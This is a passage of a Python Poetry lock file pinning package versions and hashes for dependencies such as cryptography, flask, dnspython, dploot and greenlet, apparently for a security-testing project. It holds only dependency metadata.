"sha256:2bdfe3ac2e1bbe5b59a1a63721eb3b95fc9b6817ae4a46debbb4e11f6232428d"}, {file = "charset_normalizer-3.4.1-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:eab677309cdb30d047996b36d34caeda1dc91149e4fdca0b1a039b3f79d9a807"}, {file = "charset_normalizer-3.4.1-cp310-cp310-win32.whl", hash = "sha256:c0429126cf75e16c4f0ad00ee0eae4242dc652290f940152ca8c75c3a4b6ee8f"}, {file = "charset_normalizer-3.4.1-cp310-cp310-win_amd64.whl", hash = "sha256:9f0b8b1c6d84c8034a44893aba5e767bf9c7a211e313a9605d9c617d7083829f"}, {file = "charset_normalizer-3.4.1-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:8bfa33f4f2672964266e940dd22a195989ba31669bd84629f05fab3ef4e2d125"}, {file = "charset_normalizer-3.4.1-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:28bf57629c75e810b6ae989f03c0828d64d6b26a5e205535585f96093e405ed1"}, {file = "charset_normalizer-3.4.1-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:f08ff5e948271dc7e18a35641d2f11a4cd8dfd5634f55228b691e62b37125eb3"}, {file = "charset_normalizer-3.4.1-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:234ac59ea147c59ee4da87a0c0f098e9c8d169f4dc2a159ef720f1a61bbe27cd"}, {file = "charset_normalizer-3.4.1-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:fd4ec41f914fa74ad1b8304bbc634b3de73d2a0889bd32076342a573e0779e00"}, {file = "charset_normalizer-3.4.1-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:eea6ee1db730b3483adf394ea72f808b6e18cf3cb6454b4d86e04fa8c4327a12"}, {file = "charset_normalizer-3.4.1-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:c96836c97b1238e9c9e3fe90844c947d5afbf4f4c92762679acfe19927d81d77"}, {file = "charset_normalizer-3.4.1-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:4d86f7aff21ee58f26dcf5ae81a9addbd914115cdebcbb2217e4f0ed8982e146"}, {file = "charset_normalizer-3.4.1-cp311-cp311-musllinux_1_2_ppc64le.whl", hash = "sha256:09b5e6733cbd160dcc09589227187e242a30a49ca5cefa5a7edd3f9d19ed53fd"}, {file = "charset_normalizer-3.4.1-cp311-cp311-musllinux_1_2_s390x.whl", hash = "sha256:5777ee0881f9499ed0f71cc82cf873d9a0ca8af166dfa0af8ec4e675b7df48e6"}, {file = "charset_normalizer-3.4.1-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:237bdbe6159cff53b4f24f397d43c6336c6b0b42affbe857970cefbb620911c8"}, {file = "charset_normalizer-3.4.1-cp311-cp311-win32.whl", hash = "sha256:8417cb1f36cc0bc7eaba8ccb0e04d55f0ee52df06df3ad55259b9a323555fc8b"}, {file = "charset_normalizer-3.4.1-cp311-cp311-win_amd64.whl", hash = "sha256:d7f50a1f8c450f3925cb367d011448c39239bb3eb4117c36a6d354794de4ce76"}, {file = "charset_normalizer-3.4.1-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:73d94b58ec7fecbc7366247d3b0b10a21681004153238750bb67bd9012414545"}, {file = "charset_normalizer-3.4.1-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:dad3e487649f498dd991eeb901125411559b22e8d7ab25d3aeb1af367df5efd7"}, {file = "charset_normalizer-3.4.1-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:c30197aa96e8eed02200a83fba2657b4c3acd0f0aa4bdc9f6c1af8e8962e0757"}, {file = "charset_normalizer-3.4.1-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:2369eea1ee4a7610a860d88f268eb39b95cb588acd7235e02fd5a5601773d4fa"}, {file = "charset_normalizer-3.4.1-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:bc2722592d8998c870fa4e290c2eec2c1569b87fe58618e67d38b4665dfa680d"}, {file = "charset_normalizer-3.4.1-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:ffc9202a29ab3920fa812879e95a9e78b2465fd10be7fcbd042899695d75e616"}, {file = "charset_normalizer-3.4.1-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:804a4d582ba6e5b747c625bf1255e6b1507465494a40a2130978bda7b932c90b"}, {file = "charset_normalizer-3.4.1-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:0f55e69f030f7163dffe9fd0752b32f070566451afe180f99dbeeb81f511ad8d"}, {file = "charset_normalizer-3.4.1-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:c4c3e6da02df6fa1410a7680bd3f63d4f710232d3139089536310d027950696a"}, {file = "charset_normalizer-3.4.1-cp312-cp312-musllinux_1_2_s390x.whl", hash = "sha256:5df196eb874dae23dcfb968c83d4f8fdccb333330fe1fc278ac5ceeb101003a9"}, {file = "charset_normalizer-3.4.1-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:e358e64305fe12299a08e08978f51fc21fac060dcfcddd95453eabe5b93ed0e1"}, {file = "charset_normalizer-3.4.1-cp312-cp312-win32.whl", hash = "sha256:9b23ca7ef998bc739bf6ffc077c2116917eabcc901f88da1b9856b210ef63f35"}, {file = "charset_normalizer-3.4.1-cp312-cp312-win_amd64.whl", hash = "sha256:6ff8a4a60c227ad87030d76e99cd1698345d4491638dfa6673027c48b3cd395f"}, {file = "charset_normalizer-3.4.1-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:aabfa34badd18f1da5ec1bc2715cadc8dca465868a4e73a0173466b688f29dda"}, {file = "charset_normalizer-3.4.1-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:22e14b5d70560b8dd51ec22863f370d1e595ac3d024cb8ad7d308b4cd95f8313"}, {file = "charset_normalizer-3.4.1-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:8436c508b408b82d87dc5f62496973a1805cd46727c34440b0d29d8a2f50a6c9"}, {file = "charset_normalizer-3.4.1-cp313-cp313-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:2d074908e1aecee37a7635990b2c6d504cd4766c7bc9fc86d63f9c09af3fa11b"}, {file = "charset_normalizer-3.4.1-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:955f8851919303c92343d2f66165294848d57e9bba6cf6e3625485a70a038d11"}, {file = "charset_normalizer-3.4.1-cp313-cp313-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:44ecbf16649486d4aebafeaa7ec4c9fed8b88101f4dd612dcaf65d5e815f837f"}, {file = "charset_normalizer-3.4.1-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:0924e81d3d5e70f8126529951dac65c1010cdf117bb75eb02dd12339b57749dd"}, {file = "charset_normalizer-3.4.1-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:2967f74ad52c3b98de4c3b32e1a44e32975e008a9cd2a8cc8966d6a5218c5cb2"}, {file = "charset_normalizer-3.4.1-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:c75cb2a3e389853835e84a2d8fb2b81a10645b503eca9bcb98df6b5a43eb8886"}, {file = "charset_normalizer-3.4.1-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:09b26ae6b1abf0d27570633b2b078a2a20419c99d66fb2823173d73f188ce601"}, {file = "charset_normalizer-3.4.1-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:fa88b843d6e211393a37219e6a1c1df99d35e8fd90446f1118f4216e307e48cd"}, {file = "charset_normalizer-3.4.1-cp313-cp313-win32.whl", hash = "sha256:eb8178fe3dba6450a3e024e95ac49ed3400e506fd4e9e5c32d30adda88cbd407"}, {file = "charset_normalizer-3.4.1-cp313-cp313-win_amd64.whl", hash = "sha256:b1ac5992a838106edb89654e0aebfc24f5848ae2547d22c2c3f66454daa11971"}, {file = "charset_normalizer-3.4.1-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:f30bf9fd9be89ecb2360c7d94a711f00c09b976258846efe40db3d05828e8089"}, {file = "charset_normalizer-3.4.1-cp37-cp37m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:97f68b8d6831127e4787ad15e6757232e14e12060bec17091b85eb1486b91d8d"}, {file = "charset_normalizer-3.4.1-cp37-cp37m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:7974a0b5ecd505609e3b19742b60cee7aa2aa2fb3151bc917e6e2646d7667dcf"}, {file = "charset_normalizer-3.4.1-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:fc54db6c8593ef7d4b2a331b58653356cf04f67c960f584edb7c3d8c97e8f39e"}, {file = "charset_normalizer-3.4.1-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:311f30128d7d333eebd7896965bfcfbd0065f1716ec92bd5638d7748eb6f936a"}, {file = "charset_normalizer-3.4.1-cp37-cp37m-musllinux_1_2_aarch64.whl", hash = "sha256:7d053096f67cd1241601111b698f5cad775f97ab25d81567d3f59219b5f1adbd"}, {file = "charset_normalizer-3.4.1-cp37-cp37m-musllinux_1_2_i686.whl", hash = "sha256:807f52c1f798eef6cf26beb819eeb8819b1622ddfeef9d0977a8502d4db6d534"}, {file = "charset_normalizer-3.4.1-cp37-cp37m-musllinux_1_2_ppc64le.whl", hash = "sha256:dccbe65bd2f7f7ec22c4ff99ed56faa1e9f785482b9bbd7c717e26fd723a1d1e"}, {file = "charset_normalizer-3.4.1-cp37-cp37m-musllinux_1_2_s390x.whl", hash = "sha256:2fb9bd477fdea8684f78791a6de97a953c51831ee2981f8e4f583ff3b9d9687e"}, {file = "charset_normalizer-3.4.1-cp37-cp37m-musllinux_1_2_x86_64.whl", hash = "sha256:01732659ba9b5b873fc117534143e4feefecf3b2078b0a6a2e925271bb6f4cfa"}, {file = "charset_normalizer-3.4.1-cp37-cp37m-win32.whl", hash = "sha256:7a4f97a081603d2050bfaffdefa5b02a9ec823f8348a572e39032caa8404a487"}, {file = "charset_normalizer-3.4.1-cp37-cp37m-win_amd64.whl", hash = "sha256:7b1bef6280950ee6c177b326508f86cad7ad4dff12454483b51d8b7d673a2c5d"}, {file = "charset_normalizer-3.4.1-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:ecddf25bee22fe4fe3737a399d0d177d72bc22be6913acfab364b40bce1ba83c"}, {file = "charset_normalizer-3.4.1-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:8c60ca7339acd497a55b0ea5d506b2a2612afb2826560416f6894e8b5770d4a9"}, {file = "charset_normalizer-3.4.1-cp38-cp38-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:b7b2d86dd06bfc2ade3312a83a5c364c7ec2e3498f8734282c6c3d4b07b346b8"}, {file = "charset_normalizer-3.4.1-cp38-cp38-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:dd78cfcda14a1ef52584dbb008f7ac81c1328c0f58184bf9a84c49c605002da6"}, {file = "charset_normalizer-3.4.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6e27f48bcd0957c6d4cb9d6fa6b61d192d0b13d5ef563e5f2ae35feafc0d179c"}, {file = "charset_normalizer-3.4.1-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:01ad647cdd609225c5350561d084b42ddf732f4eeefe6e678765636791e78b9a"}, {file = "charset_normalizer-3.4.1-cp38-cp38-musllinux_1_2_aarch64.whl", hash = "sha256:619a609aa74ae43d90ed2e89bdd784765de0a25ca761b93e196d938b8fd1dbbd"}, {file = "charset_normalizer-3.4.1-cp38-cp38-musllinux_1_2_i686.whl", hash = "sha256:89149166622f4db9b4b6a449256291dc87a99ee53151c74cbd82a53c8c2f6ccd"}, {file = "charset_normalizer-3.4.1-cp38-cp38-musllinux_1_2_ppc64le.whl", hash = "sha256:7709f51f5f7c853f0fb938bcd3bc59cdfdc5203635ffd18bf354f6967ea0f824"}, {file = "charset_normalizer-3.4.1-cp38-cp38-musllinux_1_2_s390x.whl", hash = "sha256:345b0426edd4e18138d6528aed636de7a9ed169b4aaf9d61a8c19e39d26838ca"}, {file = "charset_normalizer-3.4.1-cp38-cp38-musllinux_1_2_x86_64.whl", hash = "sha256:0907f11d019260cdc3f94fbdb23ff9125f6b5d1039b76003b5b0ac9d6a6c9d5b"}, {file = "charset_normalizer-3.4.1-cp38-cp38-win32.whl", hash = "sha256:ea0d8d539afa5eb2728aa1932a988a9a7af94f18582ffae4bc10b3fbdad0626e"}, {file = "charset_normalizer-3.4.1-cp38-cp38-win_amd64.whl", hash = "sha256:329ce159e82018d646c7ac45b01a430369d526569ec08516081727a20e9e4af4"}, {file = "charset_normalizer-3.4.1-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:b97e690a2118911e39b4042088092771b4ae3fc3aa86518f84b8cf6888dbdb41"}, {file = "charset_normalizer-3.4.1-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:78baa6d91634dfb69ec52a463534bc0df05dbd546209b79a3880a34487f4b84f"}, {file = "charset_normalizer-3.4.1-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:1a2bc9f351a75ef49d664206d51f8e5ede9da246602dc2d2726837620ea034b2"}, {file = "charset_normalizer-3.4.1-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:75832c08354f595c760a804588b9357d34ec00ba1c940c15e31e96d902093770"}, {file = "charset_normalizer-3.4.1-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0af291f4fe114be0280cdd29d533696a77b5b49cfde5467176ecab32353395c4"}, {file = "charset_normalizer-3.4.1-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:0167ddc8ab6508fe81860a57dd472b2ef4060e8d378f0cc555707126830f2537"}, {file = "charset_normalizer-3.4.1-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:2a75d49014d118e4198bcee5ee0a6f25856b29b12dbf7cd012791f8a6cc5c496"}, {file = "charset_normalizer-3.4.1-cp39-cp39-musllinux_1_2_i686.whl", hash = "sha256:363e2f92b0f0174b2f8238240a1a30142e3db7b957a5dd5689b0e75fb717cc78"}, {file = "charset_normalizer-3.4.1-cp39-cp39-musllinux_1_2_ppc64le.whl", hash = "sha256:ab36c8eb7e454e34e60eb55ca5d241a5d18b2c6244f6827a30e451c42410b5f7"}, {file = "charset_normalizer-3.4.1-cp39-cp39-musllinux_1_2_s390x.whl", hash = "sha256:4c0907b1928a36d5a998d72d64d8eaa7244989f7aaaf947500d3a800c83a3fd6"}, {file = "charset_normalizer-3.4.1-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:04432ad9479fa40ec0f387795ddad4437a2b50417c69fa275e212933519ff294"}, {file = "charset_normalizer-3.4.1-cp39-cp39-win32.whl", hash = "sha256:3bed14e9c89dcb10e8f3a29f9ccac4955aebe93c71ae803af79265c9ca5644c5"}, {file = "charset_normalizer-3.4.1-cp39-cp39-win_amd64.whl", hash = "sha256:49402233c892a461407c512a19435d1ce275543138294f7ef013f0b63d5d3765"}, {file = "charset_normalizer-3.4.1-py3-none-any.whl", hash = "sha256:d98b1668f06378c6dbefec3b92299716b931cd4e6061f3c875a71ced1780ab85"}, {file = "charset_normalizer-3.4.1.tar.gz", hash = "sha256:44251f18cd68a75b56585dd00dae26183e102cd5e0f9f1466e6df5da2ed64ea3"}, ] [[package]] name = "click" version = "8.1.8" description = "Composable command line interface toolkit" optional = false python-versions = ">=3.7" groups = ["main", "dev"] files = [ {file = "click-8.1.8-py3-none-any.whl", hash = "sha256:63c132bbbed01578a06712a2d1f497bb62d9c1c0d329b7903a866228027263b2"}, {file = "click-8.1.8.tar.gz", hash = "sha256:ed53c9d8990d83c2a27deae68e4ee337473f6330c040a31d4225c9574d16096a"}, ] [package.dependencies] colorama = {version = "*", markers = "platform_system == \"Windows\""} [[package]] name = "colorama" version = "0.4.6" description = "Cross-platform colored terminal text." optional = false python-versions = "!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,!=3.5.*,!=3.6.*,>=2.7" groups = ["main", "dev"] files = [ {file = "colorama-0.4.6-py2.py3-none-any.whl", hash = "sha256:4f1d9991f5acc0ca119f9d443620b77f9d6b33703e51011c16baf57afb285fc6"}, {file = "colorama-0.4.6.tar.gz", hash = "sha256:08695f5cb7ed6e0531a20572697297273c47b8cae5a63ffc6d6ed5c201be6e44"}, ] markers = {dev = "platform_system == \"Windows\" or sys_platform == \"win32\""} [[package]] name = "cryptography" version = "42.0.8" description = "cryptography is a package which provides cryptographic recipes and primitives to Python developers." optional = false python-versions = ">=3.7" groups = ["main"] files = [ {file = "cryptography-42.0.8-cp37-abi3-macosx_10_12_universal2.whl", hash = "sha256:81d8a521705787afe7a18d5bfb47ea9d9cc068206270aad0b96a725022e18d2e"}, {file = "cryptography-42.0.8-cp37-abi3-macosx_10_12_x86_64.whl", hash = "sha256:961e61cefdcb06e0c6d7e3a1b22ebe8b996eb2bf50614e89384be54c48c6b63d"}, {file = "cryptography-42.0.8-cp37-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:e3ec3672626e1b9e55afd0df6d774ff0e953452886e06e0f1eb7eb0c832e8902"}, {file = "cryptography-42.0.8-cp37-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e599b53fd95357d92304510fb7bda8523ed1f79ca98dce2f43c115950aa78801"}, {file = "cryptography-42.0.8-cp37-abi3-manylinux_2_28_aarch64.whl", hash = "sha256:5226d5d21ab681f432a9c1cf8b658c0cb02533eece706b155e5fbd8a0cdd3949"}, {file = "cryptography-42.0.8-cp37-abi3-manylinux_2_28_x86_64.whl", hash = "sha256:6b7c4f03ce01afd3b76cf69a5455caa9cfa3de8c8f493e0d3ab7d20611c8dae9"}, {file = "cryptography-42.0.8-cp37-abi3-musllinux_1_1_aarch64.whl", hash = "sha256:2346b911eb349ab547076f47f2e035fc8ff2c02380a7cbbf8d87114fa0f1c583"}, {file = "cryptography-42.0.8-cp37-abi3-musllinux_1_1_x86_64.whl", hash = "sha256:ad803773e9df0b92e0a817d22fd8a3675493f690b96130a5e24f1b8fabbea9c7"}, {file = "cryptography-42.0.8-cp37-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:2f66d9cd9147ee495a8374a45ca445819f8929a3efcd2e3df6428e46c3cbb10b"}, {file = "cryptography-42.0.8-cp37-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:d45b940883a03e19e944456a558b67a41160e367a719833c53de6911cabba2b7"}, {file = "cryptography-42.0.8-cp37-abi3-win32.whl", hash = "sha256:a0c5b2b0585b6af82d7e385f55a8bc568abff8923af147ee3c07bd8b42cda8b2"}, {file = "cryptography-42.0.8-cp37-abi3-win_amd64.whl", hash = "sha256:57080dee41209e556a9a4ce60d229244f7a66ef52750f813bfbe18959770cfba"}, {file = "cryptography-42.0.8-cp39-abi3-macosx_10_12_universal2.whl", hash = "sha256:dea567d1b0e8bc5764b9443858b673b734100c2871dc93163f58c46a97a83d28"}, {file = "cryptography-42.0.8-cp39-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c4783183f7cb757b73b2ae9aed6599b96338eb957233c58ca8f49a49cc32fd5e"}, {file = "cryptography-42.0.8-cp39-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:a0608251135d0e03111152e41f0cc2392d1e74e35703960d4190b2e0f4ca9c70"}, {file = "cryptography-42.0.8-cp39-abi3-manylinux_2_28_aarch64.whl", hash = "sha256:dc0fdf6787f37b1c6b08e6dfc892d9d068b5bdb671198c72072828b80bd5fe4c"}, {file = "cryptography-42.0.8-cp39-abi3-manylinux_2_28_x86_64.whl", hash = "sha256:9c0c1716c8447ee7dbf08d6db2e5c41c688544c61074b54fc4564196f55c25a7"}, {file = "cryptography-42.0.8-cp39-abi3-musllinux_1_1_aarch64.whl", hash = "sha256:fff12c88a672ab9c9c1cf7b0c80e3ad9e2ebd9d828d955c126be4fd3e5578c9e"}, {file = "cryptography-42.0.8-cp39-abi3-musllinux_1_1_x86_64.whl", hash = "sha256:cafb92b2bc622cd1aa6a1dce4b93307792633f4c5fe1f46c6b97cf67073ec961"}, {file = "cryptography-42.0.8-cp39-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:31f721658a29331f895a5a54e7e82075554ccfb8b163a18719d342f5ffe5ecb1"}, {file = "cryptography-42.0.8-cp39-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:b297f90c5723d04bcc8265fc2a0f86d4ea2e0f7ab4b6994459548d3a6b992a14"}, {file = "cryptography-42.0.8-cp39-abi3-win32.whl", hash = "sha256:2f88d197e66c65be5e42cd72e5c18afbfae3f741742070e3019ac8f4ac57262c"}, {file = "cryptography-42.0.8-cp39-abi3-win_amd64.whl", hash = "sha256:fa76fbb7596cc5839320000cdd5d0955313696d9511debab7ee7278fc8b5c84a"}, {file = "cryptography-42.0.8-pp310-pypy310_pp73-macosx_10_12_x86_64.whl", hash = "sha256:ba4f0a211697362e89ad822e667d8d340b4d8d55fae72cdd619389fb5912eefe"}, {file = "cryptography-42.0.8-pp310-pypy310_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:81884c4d096c272f00aeb1f11cf62ccd39763581645b0812e99a91505fa48e0c"}, {file = "cryptography-42.0.8-pp310-pypy310_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:c9bb2ae11bfbab395bdd072985abde58ea9860ed84e59dbc0463a5d0159f5b71"}, {file = "cryptography-42.0.8-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:7016f837e15b0a1c119d27ecd89b3515f01f90a8615ed5e9427e30d9cdbfed3d"}, {file = "cryptography-42.0.8-pp39-pypy39_pp73-macosx_10_12_x86_64.whl", hash = "sha256:5a94eccb2a81a309806027e1670a358b99b8fe8bfe9f8d329f27d72c094dde8c"}, {file = "cryptography-42.0.8-pp39-pypy39_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:dec9b018df185f08483f294cae6ccac29e7a6e0678996587363dc352dc65c842"}, {file = "cryptography-42.0.8-pp39-pypy39_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:343728aac38decfdeecf55ecab3264b015be68fc2816ca800db649607aeee648"}, {file = "cryptography-42.0.8-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:013629ae70b40af70c9a7a5db40abe5d9054e6f4380e50ce769947b73bf3caad"}, {file = "cryptography-42.0.8.tar.gz", hash = "sha256:8d09d05439ce7baa8e9e95b07ec5b6c886f548deb7e0f69ef25f64b3bce842f2"}, ] [package.dependencies] cffi = {version = ">=1.12", markers = "platform_python_implementation != \"PyPy\""} [package.extras] docs = ["sphinx (>=5.3.0)", "sphinx-rtd-theme (>=1.1.1)"] docstest = ["pyenchant (>=1.6.11)", "readme-renderer", "sphinxcontrib-spelling (>=4.0.1)"] nox = ["nox"] pep8test = ["check-sdist", "click", "mypy", "ruff"] sdist = ["build"] ssh = ["bcrypt (>=3.1.5)"] test = ["certifi", "pretend", "pytest (>=6.2.0)", "pytest-benchmark", "pytest-cov", "pytest-xdist"] test-randomorder = ["pytest-randomly"] [[package]] name = "dnspython" version = "2.7.0" description = "DNS toolkit" optional = false python-versions = ">=3.9" groups = ["main"] files = [ {file = "dnspython-2.7.0-py3-none-any.whl", hash = "sha256:b4c34b7d10b51bcc3a5071e7b8dee77939f1e878477eeecc965e9835f63c6c86"}, {file = "dnspython-2.7.0.tar.gz", hash = "sha256:ce9c432eda0dc91cf618a5cedf1a4e142651196bbcd2c80e89ed5a907e5cfaf1"}, ] [package.extras] dev = ["black (>=23.1.0)", "coverage (>=7.0)", "flake8 (>=7)", "hypercorn (>=0.16.0)", "mypy (>=1.8)", "pylint (>=3)", "pytest (>=7.4)", "pytest-cov (>=4.1.0)", "quart-trio (>=0.11.0)", "sphinx (>=7.2.0)", "sphinx-rtd-theme (>=2.0.0)", "twine (>=4.0.0)", "wheel (>=0.42.0)"] dnssec = ["cryptography (>=43)"] doh = ["h2 (>=4.1.0)", "httpcore (>=1.0.0)", "httpx (>=0.26.0)"] doq = ["aioquic (>=1.0.0)"] idna = ["idna (>=3.7)"] trio = ["trio (>=0.23)"] wmi = ["wmi (>=1.5.1)"] [[package]] name = "dploot" version = "3.1.3" description = "DPAPI looting remotely in Python" optional = false python-versions = "<4.0.0,>=3.10.0" groups = ["main"] files = [ {file = "dploot-3.1.3-py3-none-any.whl", hash = "sha256:ace3dda7e2a72f2111a9e18b6cf2d966bc1724ebe30689bd888b1944252b081d"}, {file = "dploot-3.1.3.tar.gz", hash = "sha256:c42c389803fd094b5c4de410fffe3323405c4149936a2f61bd8499f45f64e2b7"}, ] [package.dependencies] cryptography = ">=40.0.1" impacket = ">=0.12.0" lxml = ">=5.0" pyasn1 = ">=0.4.8" [[package]] name = "dsinternals" version = "1.2.4" description = "" optional = false python-versions = ">=3.4" groups = ["main"] files = [ {file = "dsinternals-1.2.4.tar.gz", hash = "sha256:030f935a70583845f68d6cfc5a22be6ce3300907788ba74faba50d6df859e91d"}, ] [[package]] name = "exceptiongroup" version = "1.2.2" description = "Backport of PEP 654 (exception groups)" optional = false python-versions = ">=3.7" groups = ["main", "dev"] markers = "python_version == \"3.10\"" files = [ {file = "exceptiongroup-1.2.2-py3-none-any.whl", hash = "sha256:3111b9d131c238bec2f8f516e123e14ba243563fb135d3fe885990585aa7795b"}, {file = "exceptiongroup-1.2.2.tar.gz", hash = "sha256:47c2edf7c6738fafb49fd34290706d1a1a2f4d1c6df275526b62cbb4aa5393cc"}, ] [package.extras] test = ["pytest (>=6)"] [[package]] name = "flake8" version = "7.1.2" description = "the modular source code checker: pep8 pyflakes and co" optional = false python-versions = ">=3.8.1" groups = ["dev"] files = [ {file = "flake8-7.1.2-py2.py3-none-any.whl", hash = "sha256:1cbc62e65536f65e6d754dfe6f1bada7f5cf392d6f5db3c2b85892466c3e7c1a"}, {file = "flake8-7.1.2.tar.gz", hash = "sha256:c586ffd0b41540951ae41af572e6790dbd49fc12b3aa2541685d253d9bd504bd"}, ] [package.dependencies] mccabe = ">=0.7.0,<0.8.0" pycodestyle = ">=2.12.0,<2.13.0" pyflakes = ">=3.2.0,<3.3.0" [[package]] name = "flask" version = "3.1.0" description = "A simple framework for building complex web applications." optional = false python-versions = ">=3.9" groups = ["main"] files = [ {file = "flask-3.1.0-py3-none-any.whl", hash = "sha256:d667207822eb83f1c4b50949b1623c8fc8d51f2341d65f72e1a1815397551136"}, {file = "flask-3.1.0.tar.gz", hash = "sha256:5f873c5184c897c8d9d1b05df1e3d01b14910ce69607a117bd3277098a5836ac"}, ] [package.dependencies] blinker = ">=1.9" click = ">=8.1.3" itsdangerous = ">=2.2" Jinja2 = ">=3.1.2" Werkzeug = ">=3.1" [package.extras] async = ["asgiref (>=3.2)"] dotenv = ["python-dotenv"] [[package]] name = "future" version = "1.0.0" description = "Clean single-source support for Python 3 and 2" optional = false python-versions = ">=2.6, !=3.0.*, !=3.1.*, !=3.2.*" groups = ["main"] files = [ {file = "future-1.0.0-py3-none-any.whl", hash = "sha256:929292d34f5872e70396626ef385ec22355a1fae8ad29e1a734c3e43f9fbc216"}, {file = "future-1.0.0.tar.gz", hash = "sha256:bd2968309307861edae1458a4f8a4f3598c03be43b97521076aebf5d94c07b05"}, ] [[package]] name = "greenlet" version = "3.1.1" description = "Lightweight in-process concurrent programming" optional = false python-versions = ">=3.7" groups = ["main"] markers = "python_version < \"3.14\" and (platform_machine == \"aarch64\" or platform_machine == \"ppc64le\" or platform_machine == \"x86_64\" or platform_machine == \"amd64\" or platform_machine == \"AMD64\" or platform_machine == \"win32\" or platform_machine == \"WIN32\")" files = [ {file = "greenlet-3.1.1-cp310-cp310-macosx_11_0_universal2.whl", hash = "sha256:0bbae94a29c9e5c7e4a2b7f0aae5c17e8e90acbfd3bf6270eeba60c39fce3563"}, {file = "greenlet-3.1.1-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:0fde093fb93f35ca72a556cf72c92ea3ebfda3d79fc35bb19fbe685853869a83"}, {file = "greenlet-3.1.1-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:36b89d13c49216cadb828db8dfa6ce86bbbc476a82d3a6c397f0efae0525bdd0"}, {file = "greenlet-3.1.1-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:94b6150a85e1b33b40b1464a3f9988dcc5251d6ed06842abff82e42632fac120"}, {file = "greenlet-3.1.1-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:93147c513fac16385d1036b7e5b102c7fbbdb163d556b791f0f11eada7ba65dc"}, {file = 